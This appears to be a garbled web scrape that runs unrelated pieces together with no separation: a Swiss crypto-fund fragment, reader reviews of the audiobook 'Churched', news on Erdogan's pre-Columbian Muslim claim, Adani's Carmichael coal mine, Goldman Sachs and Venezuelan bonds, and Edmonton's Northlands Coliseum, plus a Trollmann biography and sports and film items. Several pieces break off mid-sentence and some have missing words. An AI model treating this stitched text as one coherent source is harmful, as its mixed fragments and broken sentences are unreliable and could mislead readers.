Marc P. Bernegger – Fine Tech Expert stated that there is no fluke for choosing Zug Valley as a base and noted
“The term ‘Crypto Valley’ has quickly gained acceptance and demonstrates the concentration and growth of Cryptocurrency companies and foundations in the region of Zug and Zurich. It is also important to mention that Switzerland with its good reputationin asset management and stable regulation has already accepted virtual currencies as an asset class. In addition, the Swiss mountains offer safe and tested warehouses for digital assets.”
However, the launch of the fund is coercive in Q4 2017. And also the initial prospect with FINMA has been taken up.Customer Reviews
This book is so deeply rooted in the location and culture in which it is written, it's almost inaccessible to someone from a different background. I didn't get past chapter three. Overall
The book is a snide, condescending slam of traditional Christianity from start to finish. I'm not sure why Christian Audio would want to even promote it. The readers' voice is so annoying, it is like listening to a 10 year old whine about how much they hate spinach, for 7 hours. Overall
Entertaining, with some funny "that's so true" moments but constant dark, bitter undertones in the witty sarcasm and highly self righteous snarky attitude, the outflow of this Matthew's heart exudes himself - under a self righteous disguise of making God more popular. Insightful though, into the pains caused by much of traditional church/family that was more ritualistic and legalistic than a tempered solid relationship with the jealous God of the universe would have allowed. Matthew has missed out on God's grace for even the legalistic, but has, on the flip side, diminished the power of the scriptures that do relate to judgement. Not so much grace needed if the judgement is reduced or explained away. The fruits of a spirit-filled life and a focus on glorifying the magnificent, powerful and jealous God of the Bible - is not evident in this book. Overall
I listened to this book almost a year ago now so my review is a recollection of how the book made me feel about my faith in Christ rather than focusing on specifics. I recall relating to many of the author's experiences and laughing out loud at some. As the book progressed, I became more hopeless that Jesus' ongoing work through his church, broken as it is, would ever be recognized by Mr. Turner. There was entertainment value in the book but as a cure for what ails the American church I think the list of adverse side effects could be long indeed. You won't feel better after taking this pill. Overall
At first I was cringing at what seemed to be attacks on Christianity. I felt guilty when I laughed out loud. But then I got it. It isn't an attack on Christianity, or on God. It's an honest, real look at one man's experience growing up in a certain flavor of church, and how that affected his relationship with Christ. I could relate with so much of it - the focus on pet doctrines, the judgments on those who don't interpret Scripture the way we do, the shying away from what has scarred us in the past. The last sentence or two of each chapter is a nugget of faith and trust. Thank God for grace! (I noticed several repeats of phrases. It'd be great if these could be cleaned up. But the author does a great job of telling his own story in audio form.) Overall
While I think that the author was sincerely trying to be funny, he was really just making fun of people who loved the Lord, and were trying to make a difference. I'm glad I got the free audio because I would feel pretty disappointed if I had paid for it. Overall
A look at being raised in a fundamentalist church. I appreciate it. Judging from some of the comments above, i'm not surprised that some Christians would take this as an attack on "the church" since most American Christians, at least those I've met and read and heard, really care more about getting people to church than helping them follow Jesus. Membership and attendance is paramount over true discipleship. The production of a Sunday morning meeting is the center of the universe. It's even consider worship. There needs to be more books like Churched. Overall
Witty, satirical, extremely- honest yet very touching true to life story of the struggles of a young boy who grew up in a legalistic Christian environment. His (mis) adventures are worth reading (listening to) and mature seasoned Christians will learn a thing or two from the author's own experiences. I love the hymns that start and end every chapter. Warning: not for the weak in their Faith lest they may stumble. :-P Overall
I wanted to quit listening to this book several times, but suffered through so as to get a full impression of it. It never really got better. I feel that all this book brings to the table is some current examples of how the warnings of scripture come true... There are stories of the blind leading the blind and some wolves dressed in sheep's clothing, but other than that, it seems to be pretty negative and sarcastic in some ways that are less than helpful.
This book seems to simply be the venue that the author used to vent his frustrations towards fundamentalism. Though I identify with him in these frustrations, all it did was seem to tear down without ever building up the Body of Christ. Overall
This book is a guys' story, intriguing at times, but mainly intriguing because you are wondering if he is going to completely reject Christ while throwing babies out with the bathwater, or manage to at least hang on to some shred of orthodox Christianity. I was left wondering in the end. I didn't feel that I was particularly helped in any way by the book, except that it did do a good job of showing some of the errors of fundamentalism (they threw babies out with bathwater too, incidentally). Overall
a very fun and entertaining story. It is a nice and simple look on youth and growing up in faith.
A great book to listen to when in traffic! Overall
this was a great book. it was genuine, honest, funny and objective. Matt Turner is obviously comfortable enough in his faith to be able to expose his insecurities about our earthly church. He does not seem to aim to please, but seems to simply want to share his experience. The end of it is suitable as well. Although it isnt climatic, it wasnt supposed to be. after listening to his whole commentary, having him be 'born again'...again.... would only be written in as a crowd pleaser. i'm glad he did not fake the ending. :) Overall
Found this to be a humorous yet true book about how certain churches and Christians can push people away from the church. Overall
I was not overly thrilled with this audio book, in my opinion and it is just my opinion this book makes a lot of generalities. If filled with the Spirit of God this is not a issue, we ought to focus more on Him instead of pleasing man. Overall
What a delight! Present reality of "church" delivered in a humourous and in sightful manner. I love his style of writing. Well done! Overall
Worth a listen for those disheartened by their churched upbringing. I am glad the author still searched for and found a church home after the harsh upbringing he experienced Overall
I enjoyed the insight provided by the author regarding his own personal testimony and struggle to understand God, Christianity, and the Church.
A valuable insight into where many young people (Millennials) are at with the evangelical church in general. Overall
Having come from a similar past and having found the truth about Grace (or rather His revelation to me about Himself), I was very empathetic with the author throughout the book, waiting for the climax of the author’s revelation of the truth about the Gospel and the church, yet I was left disappointed and grieved for the author; ending his story in disillusionment yet with a desire toward God, but still looking to churches and pastors for the answer. May Grace find him like He found me and I hope the author may have a triumphant sequel to tell of how his soul found peace because his search ended in a relationship founded on Grace and the unconditional love of his Savior. Overall
Having come from a similar past and having found the truth about Grace (or rather His revelation to me about Himself), I was very empathetic with the author throughout the book, waiting for the climax of the author’s revelation of the truth about the Gospel and the church, yet I was left disappointed and grieved for the author; ending his story in disillusionment yet with a desire toward God, but still looking to churches and pastors for the answer. May Grace find him like He found me and I hope the author may have a triumphant sequel to tell of how his soul found peace because his search ended in a relationship founded on Grace and the unconditional love of his Savior. Overall
My 15 year old daughter especially loves Churched. The author pulls you into his world. We never get tired of listening to this book. It will have you rolling. Overall
I think the author had some good points and really gets you thinking. Overall
Don't listen to this book expecting a neat conclusion - it's too biographical for that. An interesting story of the struggles of a boy growing up in a smalltown fundamentalist church. Ultimately, it's a somewhat sad story because, as other reviewers have said, what the author ends up with is something of a shadow of the community of faith that church should have been. Overall
This book seems to indicate everything that is wrong with the American church. No-one in this story seems to have understood the gospel and were living hypocritical lives. I was throughtly depressed after listening to it! Overall
Mr Turner has my sense of humor. It’s dry, plentiful, and full of extreme exaggeration. Loved the book. He made me laugh throughout the whole story.
As you can tell from the other reviews, it’s not for everyone. While not being very uplifting or theological (at all), it does do an excellent job of cleverly pointing out some very negative human characteristics within the Christian church that are good to be made aware of. I think the book will make you think about what following Jesus should look like, whether you like the book or not.
The narration is absolutely excellent. He’s got an interesting voice, and I found it really added to my fascination with this story.
I’m definitely interested in listening to more of his books. Overall
The author depicts his relationship with church and getting to know Christ through the eyes of a child. A lighthearted look at growth in one's earthly walk. Overall
I have to say that this is one of the best reads I have had in a while. This book is smart, funny, insightful and at times poignant. This isn’t a book that will suit everyone, I don’t think it’s meant to be, but it is a book that presents situations that most Christians can relate to in some way.
Churched presents a story of how one person came to embrace the Christian faith in a deep and personal way, despite spending many years feeling like he didn’t belong within the church group that he grew up in.
Overall
Matthew Paul Turner's Churched: One Kid's Journey Toward God Despite a Holy Mess engages you from the get go. I am going to have to assume that if one to were read this with no church background at all, they would definitely leave the reading thinking the Baptists are all crackpots. But, if you have had any type of upbringing in the church you will be smirking a whole lot, unless of course you are a pure bred fundamentalist with no sense of humor. That would probably be the kind of person Turner hopes would read this and see themselves in it.
I grew up in a very small Methodist church in nowhere Wisconsin. I had the unfortunate belief of nothing. I just couldn't get past Jesus being the core of great stories, just like Santa and Rudolph were. If I would have been transplanted from my comfortable church setting to the intense fundamentalist Baptist setting of the author, I kind of think I would have been way messed up. It took me a long time not to be messed up as it was.
As, the modern age of church evolves I think it is this type of reflection, on one's perspective of the church growing up, that we can all learn from. The bottom line is as Turner takes reveals his own messed up mind growing up the church we see one prevailing factor. In a fundamentalist church you have to live up to the rules of the church and the love the Lord is something that just doesn't seem to exist. It is hard to love something you are terrified of.
When church is nothing but dressing up, having the appropriate hairstyle, witnessing out of guilt and fear, every sermon is a `get out of hell' motivational speech, and a fearing of when the age of accountability is church becomes wearisome and scary.
Now, my words might make this book sound depressing. It is not. It is a blast. It is articulately funny. Turner taps into every stereotype of the church we have seen or have been. Through his narrative he makes us reflect on things we have done or wondered about in church and makes it OK to do so. He covers the gamut. Door to door evangelism, what TV shows we `can't' watch, sleeping through sermons, spotting sin, etc.
We Christians can do a lot of things to get ourselves stereotyped and Turner's perspective of his dad is a great example...." There were times when I envied my father for having the right personality to be a Baptist. He was stubborn, could be cold-minded toward anything that wasn't his idea, and was fully convinced that Pentecostals were a bunch of nut jobs."
Funny? Yes. Convicting? Yes. Remind you of someone you know? Definitely.
I highly recommend the book. It is an easy, enjoyable read, that will remind you that loving the Lord is the beauty of responding to His grace. And it so much easier to love grace than fear condemnation. Overall
This book is a perfect description of a church in Indiana I wonder if he's talking about that church. Great because he is honest. Sad because it is the truth that could push others farther away from Jesus. Overall
I personally grew up in an IFB church and I figured by the title of this book that it was about someone raised in this circle which prompted me to take the time to listen. I would like to review this book on several levels and will break them apart in paragraphs.
1. Literary - The author overused similes in this book. Too many “likes”, it just got annoying. Also, the use of these exaggerations where too extreme and did give a sense of sarcasm.
2. Purpose – Not sure if I can say there is any useful purpose in this book. It does describe how life was, to an extent, growing up in an IFB church, but I would question if all the issues brought up in the book were “actually” as extreme as depicted. Some of the issues written on were right in line with what I experienced and others were not. If all the things talked about in this book all happened to the extreme the author portrayed them under one steeple, it would be a very rare case.
3. Author’s attitude – The author definitely poked fun and also gave credit to the authorities presented in the book that showed good character, though part of his “church” experience and possibly the problem. There were times I laughed when he touch on something close to my experiences and other times very sad seeing how man’s traditions and poor interpretation of Scripture clouded the Gospel message.
4. Purpose – I was not greatly impressed with the book because it lacked purpose. It paints a very bleak picture of the Christian church most likely leading someone further away from the true Gospel of Jesus or deepening the bitterness of a similar experience. I could see it helping someone understand the IFB church and how it operates for the purpose of counseling (keeping some of the extremities in mind).
Critical Conclusion: If the author is presenting himself honestly, he has the same problem now in his “new” church as he did in the IFB church. Church is still about himself. In the IFB, how one was seen externally by the church was more important that how ones heart was seen before God. Legalism, in most cases is performed more for the protection of self out of fear of man and God over glorifying God. The author writes as when he was approaching the pastor of the “new” church in Ch. 16 with the question: “How will I fit in?” The focus is still on self and that is the issue. The New Testament church is presented in the scriptures as a body of believers focused on Christ and self-sacrificially giving to one another as Christ did for the church. If you approach church like you're shopping for a country club with comfort, acceptability and self-interest in mind, then expect to be unfulfilled and empty. I am humbly grateful the Lord gave me the ability to see past myself and I pray the same for the author and anyone else that may have experienced what he did. Overall
I thought this book has promise, because we all need to get away from following Jesus by obeying a bunch of rules and just follow Him out of love. But as I read, I quickly realized that this book was not going to say that. This guy basically goes way too far the other direction and creates his own "Christianity."
Maybe you like this kind of book, but in my opinion, it's a complete waste of time. It's just a big narrative. No scripture, no teaching, it's just an annoying (and I think somewhat fictitious) story. It's full of an amateur comedian's joke attempts, and it seems like he's trying desperately to make you like him rather than to show you some truth he's discovered. That's annoying to me. I don't like it when people waste my time. Tell me what you are trying to say, and then let me chew on it. I think he is embellishing his stories of his "messed up" childhood. I'd like to talk to his parents and "Pastor Nolan" to see what they have to say about this book, and what they are really like. I know these people do exist, but he makes everyone sound like imbeciles while he is the only one in the story with his head screwed on straight.
In the end of the book, he is VERY vague about the final conclusions he has reached. It seems like he has convinced himself that it's okay to not go to church very often, okay not to have relationships with people, okay not to forgive and overlook what you see as their shortcomings, and that God's Word isn't authoritative in our lives. How did he get here? He goes from ranting about his growing up to what he says in the last 5 minutes of the book very abruptly.
From what I gather, he and his wife are now "members" of a community church, but they don't have relationships with people there, they don't read the Bible much because they don't see the words of God as perfect, and they only come to church every once in awhile because they don't think they "fit in". I wonder what the New Testament Christians-the ones that saw Jesus die- would think about that kind of person. I don't think they were concerned about "fitting in." Basically, I think this guy is anti-authority, including coming from the Bible, but he still has a need to be liked by everybody, so he goes to church to satisfy people. And he writes this book to please people who feel a spiritual void in their lives, and instead of cleaning the inside of their cups, they blame the church for their lack of a relationship with God. They'll spend the rest of their lives blaming the church and disconnected from it, fooling themselves into thinking that this is what God wants for them, and that they are ok and that He's pleased with their decision to separate from His body. And all the while they'll remain spiritually disconnected from the Father, too. Then, at the judgement, not surprisingly, he'll tell them, "I never knew you." And then eternity will begin.
At the end of the book Turner says he's passionate about Jesus, but I don't believe it. You cannot be passionate about Jesus and disconnected from His word and His people at the same time.
I just wasted my time listening to this. At least I did it on my commute, so that would have been semi-wasted time anyway. Don't waste yours. Overall
I've visited churches that approach what the author was describing but the way he described it was very unnecessary. It sounds like the author is bitter about his past. While I would agree that the some of the examples he gave were unbiblical and not promoting the cause of Christ, he exaggerates them and tends to judge other believers and their motives for what they do.
I decided not to finish listening to the audio book because it served no purpose other than to ridicule a group of believers. That's causing dissension among the believers and my Bible tells me that God hates that.
This book isn't worth the reading. Overall
There are plenty of other books that would be a much better use of your time. Overall
I think others on this board are being a little too harsh on the review of this book. If the author is telling the truth about his experiences and how it changed his life… who am I to judge it as worthless? I think there are very important lessons to be learned from this.
First, what we teach and how we teach it can sometimes determine the direction people go in life…. for good or for bad. We have to offer good sound teaching that is lead by the bible and the Holy Spirit in order to have real change in people. Two, we have to realize that it is God that molds us not man. If we are not careful in how we teach we will begin to mold people into our image and not the image of God. He is the potter and we are the clay. Lastly Jesus’s blood can reach anybody. Just because the author didn’t say that he is all straighten out now doesn’t mean he will never be. God can untangle the craziest thoughts and the bitterest of all emotions.
I agree that this book can act as a warning for all Christians to grow closer to God not through fear but through love. In order to show God to the world we have to show the love of God to each other. I said all that to say this… this book reminded me how important God's love is and you can never discount other people’s experiences. Sometimes it takes time to be totally healed from the things that derailed our faith. The author is writing out of his hurt. But I’m confident that if he draws closer to the truth of God's word he could change for the better.
Overall
A sad recollection of the experiences of a child growing up in a Fundamentalist Church and family.
I'm not a Fundamentalist. I'm probably closer to the old school Presbyterian he mockingly caricatures, (along with a host of others), in the last chapter, so I really don't have a Fundamentalist axe to grind.
But I do fear that Turner is not journeying toward God as the subtitle says, but away from Him.
His statements regarding the inerrancy of scripture are troubling: "I don't know what I believe about the bible being infallible. I believe it's inspired. I believe it tells God's story, but infallible? I don't know."
"Inspired" in what way? Beethoven's 9th Symphony is inspired but not by God, certainly in no way close to the bible.
"God's story"? The bible is not God's story book.
His statements about the Cross and the Resurrection are also cause for concern: "I can't believe His resurrection is meant to be downsized into one simple equation. That doesn't seem like grace to me. I guess what I'm hoping to find in a church is a place all about joining God in the resurrection story." What does that mean? At best it is an ambiguous and weak understanding of Christ's resurrection and what it means to follow Him.
Like others, based on the title I was expecting the book to end in Mr. Turner being freed from the works based chains that bound him and growing closer to God and other believers but that is definitely not the case.
This book is not worth your time unless you want to hear anecdote after negative anecdote of his recollections of growing up in a Fundamentalist Christian home. There is no redeeming value here. Nothing that would promote spiritual growth, love to others or bring praise to God for His grace.
I can't recommend this book to anyone. Overall
An eye-opening book, that exposes many of the 'Toxic' religious thoughts, teaching and manipulations that unfortunately do exist is Churches all over the world today. I don't believe that all "Baptist" or "Fundamental" Churches are like the one described in this book, and I also believe there are other denominations that are falling into the same trap.
This is exactly the result of trying to earn one's salvation through morality and self-effort, rather than by the grace of God. In relying on what other think of us as a measure of our being accepted by Christ. This book serves as a warning, and should cause alarms to go off in your head, should you hear these teaching being propagated.
All of that said, I found myself chuckling aloud so many times while listening to this book. It is a good read/listen for any Christian, or for any non-Christian to realize what true Christianity is not. Overall
This book is highly interesting--and the author's voice is perfect for the sarcastic tone of the book.
There is a tinge of truth to most everything the author relates. But I would think that much of it is a fabrication, for a 4 and 5 year old couldn't possible remember all those precise conversations and details which he relates.
Also, the author seems to paint most ALL Christians as hypocritical, unthinking idiots. This is an unfair caricature.
The bottom line, is that the underlying tone of the book is sacrilegious. I could imagine it being offered on an atheistic website--but it surprised me that it is found on a Christian website.
Sincerely,
Editor, GraceGems.org Overall
Nice to see that others sensed the bitterness this writer has toward the Church and all those who disagree with his views. I'm sorry he hasn't learned about grace and forgiveness yet. But there's hope for everyone. Overall
Every once in a while I come across a book that diverges from theology, youth ministry, introspection, apologetics, or even fiction that interests me. Churched is one of those books. It describes a young man (author Matthew Paul Turner) growing up in a hyper-conservative southern baptist church. Despite all odds of being embittered against and rejecting the legalistic tendencies of his upbringing, Turner is able to see the beauty of the Gospel and continue in his faith and love for the Lord. This interested me immediately.
What I liked: Turner is a great story-teller. In each of his experiences, the reader can easily imagine all the little details he is describing to a "t." Also, this book jumps deeply into many of the ridiculous teachings that can come from a place of pride, envy, judging others, etc. Some of the examples from his real life are so preposterous they come across as simply unbelievable... in a good way. Turner calls things like they are. This book truly reveals the deception that lies in the hearts of others. It shows the dark side of the church. It angered me at times.
What I Didn't Like: First of all, I have this as an audiobook from christianaudio.com, as part of their reviewers program. Turner's voice wears on the listener. His tone is one of almost mocking the characters in his story as he tells them.
For all of the dark stories the author tells, he rarely mentions his journey with the Lord. He simply tells 15 chapters worth of stories about how crazy and pretty much ungodly his southern baptist church was growing up. Then suddenly in the last chapter he tells a story of his current church, a couple things he believes, and how he still loves Jesus despite his past. This is great, don't get me wrong, but we aren't allowed into that transformation at all. We don't see the process. It makes all his stories lack direction, purpose, and meaning.
This book would have been awesome if he had half the stories from his childhood, focused on the things he had to wrestle with because of those stories and how he was able to grow in his faith and maintain his love for Christ and passion for the Gospel. That is a book worth reading. This one seems to digress into cheap shots against people of his past and a total bashing of all fundamentalism with very little pay-off in the end.
Personal Takeaways: I was challenged in how I interact with my students as I read this book. One of the positive things this book establishes is that the mind of an adolescent is very pliable. The very tone in which I teach things, my motivation behind every talk I give, and |
Americas in the 12th century, nearly three centuries before Christopher Columbus. He cited as evidence for his claim that “Columbus mentioned the existence of a mosque on a hill on the Cuban coast”.
On Tuesday, Erdogan said “very respected scientists in Turkey and in the world” supported his claim. “Some youth of our country have begun objecting to this without doing any research or paying attention to discussions. Not only youths but also some very senior figures have begun disputing it.
“Why? Because they still do not believe a Muslim can achieve this … They do not believe that their ancestors carried the ships over land to the Golden Horn,” he said, referring to Ottoman Sultan Mehmet II’s conquest of Constantinople (now Istanbul) in 1453.
“They did not believe in the leaders who closed the Dark Ages and opened up the New Age. This is a lack of self-confidence.”
His claim had been mocked by some prominent columnists in the Turkish media. Mehmet Yilmaz, of the Hurriyet newspaper, suggested that Erdogan’s next claim should be that a Muslim, rather than Isaac Newton, discovered gravity.
Devlet Bahceli, leader of the opposition Nationalist Movement party (MHP), said the controversy was a political manoeuvre devised by Erdogan to “cover up his faults”, including corruption claims targeting his inner circle.
But pro-government media supported Erdogan’s claim, saying world history for too long had been based on a distorted western interpretation. “If President Erdogan had not made the comments on the Americas’ discovery, a big majority would have been unaware of the continent’s discovery by the Muslims because western sources wrote that it was Columbus who first set foot on America,” Mehmet Seker wrote in the Yeni Safak daily. “We had copied the translated [western] information into our books.”
History books say that Columbus set foot on the American continent in 1492 as he was seeking a new maritime route to India. Some researchers believe Vikings reached America before the end of the first millennium. A tiny minority of Muslim scholars have recently suggested a prior Muslim presence in the Americas, although no pre-Columbian ruin of an Islamic structure has ever been found.
In an article published in 1996, historian Youssef Mroueh referred to a diary entry from Columbus that mentioned a mosque in Cuba. But the passage is widely understood to be a metaphorical reference to the shape of the landscape.With its USD 15 billion Carmichael coal mine stuck since 2010 for want of green nod, Adani group has requested the Australian government to draft a special prohibiting green groups from seeking repeated judicial reviews of environmental approvals.
"Last month, I had an hour-long meeting with the Australian Prime Minister Malcolm Turnbull and requested him to pass a that restricts greens from seeking judicial reviews of environmental clearances time and again," group chairman Gautam Adani told a select group of journalists. He was here for the launch of Vizhinjam International Multipurpose Seaport by his group on Saturday.
In 2010, Adani Group had acquired the rights to develop the Carmichael coal mines in the Galilee Basin of Queensland state in involving an investment of USD 15 billion over a period of time. The project, which includes building a rail link and a port at Abbot Point to ship the coal out, has been opposed by green groups ever since.
Because of the opposition, the group has been finding it difficult to get banks to fund the deal. Even had withdrawn its committed loan of Rs 8,000 crore to the project. The loan agreement was signed by the SBI chief and Adani in the presence of Prime minister Narenda Modi in Sydney last year.
"We had placed the proposal before the Australian government during an hour-long meeting with the prime minister on November 4. I had met him even yesterday (December 4). I think this is the only lasting solution I can look at.
"Now it is enough. They cannot continue to challenge the project. They cannot go for judicial reviews all the time. In OECD (Organisation for Economic Co-operation and Development) member-nations approvals are not given with closed eyes countries," Adani said.
"Ultimately the politicians have to go to Parliament and enact a special which says that once the government gives approval, no one can challenge it. That's our request to the Australian government," Adani said.
When asked whether such a law is possible to help save a
corporate investment and whether there are any such precedents to the same, he answered in the affirmative. "Yes, they have done so in the past".
Admitting that his company is facing a unique challenge Down Under, Adani said that "on one side, the government is giving us all approvals and on the other, environment activist groups are seeking judicial reviews and that derails the whole project.
"Even though there is no stay, because of the judicial review, no lender will finance the project. They do not know what will be the outcome".
He added: "The greens are finding some technicality to seek review, which anyone can do. Some technical mistakes here and there and they go to the courts. That will not help the larger interest as the project is very important from the point of view of both India and "
Stating that the Carmichael coal mines are the world's largest, Adani claimed that the mine can support a minimum 100 million people to have electricity for a century or more.
The controversy has delayed the project by one-and-a-half years during which coal prices have slumped, he said, adding, "We have to revive to the next cycle".
On the Cabotage law exemption given to his upcoming Vizhinjam transshipment port, which is the only port to get such an exemption even before the work on the project has not begun, Adani said it is in response to the state government's and our pleas.
He also said the so-called landlord port concept can't work for transshipment ports such as Vizhinjam and allarpadan.
"If you really want to enter the transshipment business, you've to slash the price by half to compete with Colombo through which India sends and receives a big chunk of its container cargo.
"If you are paying 33.3 per cent as revenue share to the government-owned Kochi Port assuming a rate of Rs 4,000 a container and suddenly you want to handle at Rs 2,000 of which 33.3 per cent has to be given to the government-owned port, what is left for the developer?" Adani said.
Adani added: "That's why Dubai's DP World has not been
successful at Vallarpadam. Whatever they say, the landlord port concept will never work for transshipment.
"At Mundra port which is the biggest commercial port and the only one to handle 100 million tonne or more of cargo, we are landlord port as well as operator. We've freedom to do many things including setting rates. That's why we are successful. Ultimately, our aim is to give a final solution to users."
Adani Ports & Special Economic Zone has won the contract to build and operate the country's second container transshipment port at Vizhinjm, which is being built at a cost of Rs 5,552 crore. The project is also the first to get central viability gap funding worth Rs 800 crore.
Adani said he was confident of making the Vizhinjam port a success as unlike the Central-government controlled Vallarpadam transshipment terminal near Kochi, which does not enjoy Cabotage exemption and is governed by the government set tariffs and therefore is utilizing only 30 per cent of its capacity.
At Vallarpadam, which operates on the landlord port model, rates are set by a regulator and the operator has to share 33.30 per cent from its annual revenue with the Kochi Port Trust during the 30-year contract.
At Vizhinjam, the state will begin to get revenue share from the 16th year, which will rise by 1 per cent annually to touch 40 per cent at the end of 40th year contract that can be extended by 20 years more, even though half the investment is being borne by the state.As the Edmonton Oilers enjoy their position near the top of the Pacific Division, the City is considering options for the future of their old home. A figurative question mark has hovered above Northlands Coliseum, previously and popularly referred to as Rexall Place, since plans were announced for Rogers Place. But the interest in retrofitting the aging structure continues to gain steam among residents and City officials.
Northlands Coliseum is aching for change, image by Flickr user Mack Male via Creative Commons
Northlands embarked on an investigative exercise in 2015 that produced the wide-ranging Vision 2020 plan, the first real glimpse of the site's potential as a community-based sports and recreation hub. Northlands has proposed a six-sheet arena along with an "urban festival" site, a new events venue, and the possibility of residential, commercial, and hotel functions.
The conceptual vision for the site, image via Northlands
Indicative of the project's early days, the City is hosting open houses to gather public input that would guide the redevelopment of the property. The final open house is scheduled for today, November 17, from 3 to 8 pm in Multipurpose Room #6 at the Commonwealth Recreation Centre, 11000 Stadium Road. But if you're unable to make it, the City is collecting ideas via an online survey until December 1.
Some residential units may be built, image via Northlands
Taking into account the amassed public feedback, Northlands will present two to three conceptual directions to City Council in April 2017. Though construction isn't expected to begin until 2018 at the earliest, organizations that are interested and have the capacity to help with the transformation have been invited to submit a Partner Interest Exploration (PIE). This gives the City a more detailed picture of which organizations could potentially invest capital or provide programming and services in the re-purposed venue. The City is accepting submissions until 2 pm on December 9, 2016.
Conceptual plans for the site, image via Northlands
Additional images and information can be found in the Database file linked below. Want to get involved in the discussion or share your photos? Check out the associated Forum thread or leave a comment at the bottom of this page.The Trump administration is concerned about any action by U.S. companies that provides a financial lifeline to Venezuela's government, senior White House officials told Reuters, after Goldman Sachs Group came under fire for purchasing $2.8 billion of state oil company bonds at a steep discount.
Venezuela's political opposition and some U.S. lawmakers have condemned the purchase of so-called "hunger bonds" as a way to prop up President Nicolas Maduro's cash-strapped government, accused of being behind food shortages affecting millions of Venezuelans in a worsening crisis.
The New York-based investment bank said last week that it never transacted directly with Venezuelan authorities when it bought the bonds of oil firm PDVSA for pennies on the dollar.
"We're concerned by anything that provides a lifeline for the status quo," one U.S. official, speaking on condition of anonymity, told Reuters. "I would prefer them not to."
A second administration official said U.S. companies making Venezuela investments should "think morally about what they're doing."
The officials said they did not know whether the Trump administration had made its case directly to Goldman Sachs. Goldman Sachs did not respond to a request for comment.
Julio Borges, head of Venezuela's opposition-led Congress, accused Goldman Sachs on Monday of "aiding and abetting the country's dictatorial regime."
In a letter to Goldman Sachs President Lloyd Blankfein, Borges said Congress would open an investigation into the transaction and he would recommend "to any future democratic government of Venezuela not to recognize or pay these bonds."
Eliot Engel, the senior Democrat on the House of Representatives Foreign Affairs Committee, urged President Donald Trump on Friday to condemn Goldman Sachs for the bond purchase.
The Trump administration, which has several former Goldman Sachs executives in senior roles, has yet to officially comment on the issue.
Engel said the bond purchase allowed Maduro and his associates to "regularly abuse the human rights of Venezuelan citizens while at the same time blocking their access to much-needed food and medicine."
Venezuela's opposition won control of the legislature in a 2015 election, but the pro-government Supreme Court has annulled all its measures and essentially stripped its powers. The country has been engulfed in two months of anti-government unrest, which has left more than 60 people dead on both sides.
Maduro's government says the United States and Venezuela's opposition are seeking to oust him from power.
With Venezuela's inefficient state-led economic model struggling under lower oil prices, Maduro's unpopular government has become ever more dependent on financial deals or asset sales to bring in coveted foreign exchange. Venezuela's international reserves rose by $749 million on Thursday and Friday, reaching around $10.86 billion, according to the central bank.Johann Wilhelm "Rukeli"[1] Trollmann (27 December 1907 – 9 February 1943) was a German Sinto boxer.[2]
Trollmann became famous in the late 1920s.[3] On 9 June 1933, he fought for the German light-heavyweight title and although he clearly led by points over his opponent Adolf Witt, the fight was judged "no result".[3] The audience rebelled, and the Nazi officials were forced to acknowledge Trollmann as the victor. Six days later, however, he was again stripped of the title. A new fight was scheduled for 21 July, with Gustav Eder as Trollmann's opponent. Trollmann was threatened that he had to change his "dancing" style or lose his licence. Trollmann, of Sinti heritage, arrived the day of the match with his hair dyed blonde and his face whitened with flour, the caricature of an Aryan. He took the blows of his opponent as he was asked for five rounds before he collapsed.
The persecution of Sinti and Roma in Germany dramatically increased in the following years.[4] Sterilization often preceded their internment in concentration camps, and Trollmann too underwent this operation. In 1939 he was drafted into the Wehrmacht, and fought on the eastern front.[5] He was wounded in 1941 and was returned to Germany as a result.[6] The Gestapo arrested him in June 1942, and he was interned in Neuengamme concentration camp. He tried to keep a low profile, but the camp commandant had been a boxing official before the war and recognized Trollmann.[6] He used Trollman as a trainer for his troops during the nights. The prisoners committee decided to act, as Trollman's health deteriorated. They faked his death and managed to get him transferred to the adjacent camp of Wittenberge under an assumed identity. The former star was soon recognized and the prisoners organized a fight between him and Emil Cornelius, a former criminal and hated Kapo (a prisoner given privileges for taking on responsibilities in the camp, often a convict working for a reduced sentence or parole). Inevitably Trollmann won. Cornelius soon sought revenge for his humiliation and forced Trollmann to work all day until he was exhausted, before attacking and killing him with a shovel. Trollmann was just 36 years old.[1]
Rehabilitation and Commemoration [ edit ]
9841- Temporary memorial for Johann Rukeli Trollmann in Berlin-Kreuzberg, 2010 in Berlin-Kreuzberg, 2010
In 2003 the German boxing federation officially decided to recognize Trollmann as the winner of the 1933 championship.[1]
On 9 June 2010, the anniversary of his championship fight,[7] the German artist collective Bewegung Nurr erected a temporary memorial "9841" in the Berlin Victoria Park to honor Trollmann.[8] The memorial was also displayed the following year in Hannover and in Dresden in 2012 for six weeks. The title refers to Trollmann's prison number.[1]
In 2016 Dario Fo, recipient of the 1997 Nobel Prize in Literature, published the book Razza di zingaro based on Trollmann's life.Alex Rodriguez became the first player since Derek Jeter to join baseball’s 3,000-hit club, and just like Jeter in 2011, he did it with a home run.
A home run at Yankee Stadium off a Cy Young winner, no less. The smash makes A-Rod the third player overall to homer on his 3,000th hit; Wade Boggs did it for the then-Devil Rays in 1999. Pete Rose, Rafael Palmeiro, and Jeter are the only three players who are retired with 3,000 hits and are not yet in the Hall of Fame. We’re sure the Yankees won’t consider this a milestone.
The above video features audio from WFAN; here’s how it sounded on YES;
In Spanish on the Yankees’ WADO affiliate;
And as called by Bob Costas on MLB Network:
To contact the author of this post, write to tim@deadspin.com (PGP key) or find him on Twitter @bubbaprog.The Media Action Network for Asian Americans has issued a statement condemning director Ridley Scott for whitewashing several Asian characters out of his movie, The Martian.
The movie is based on the best selling novel by Andy Weir. In the book, Dr. Venkat Kapoor is described as being Hindu. In the movie, the name is changed to Vincent Kapoor and he is played by British Black actor Chiwetel Ejiofor. Ejiofor says his father was “Hindu” and his mother was Baptist.
The character Mindy Park who is Korean American in the book is played by Mackenzie Davis, a white blonde actress.
“Kapoor and Park weren’t even the main characters of the film,” said Guy Aoki, MANAA founding president. Was the director afraid that having too many Asian American characters would prevent 20th Century Fox from approving his casting, or that it would be a turn-off to the audience? It didn’t stop the book from becoming a best-seller.”
This isn’t the first time Scott has been accused of whitewashing. MANAA also challenged him for casting White actors in lead roles for Exodus: Gods and Kings and relegating Middle Easterners for secondary roles.
In The Martian that pattern continues when he casts Benedict Wong as Bruce Ng, the Director of Jet Propulsion Lab.
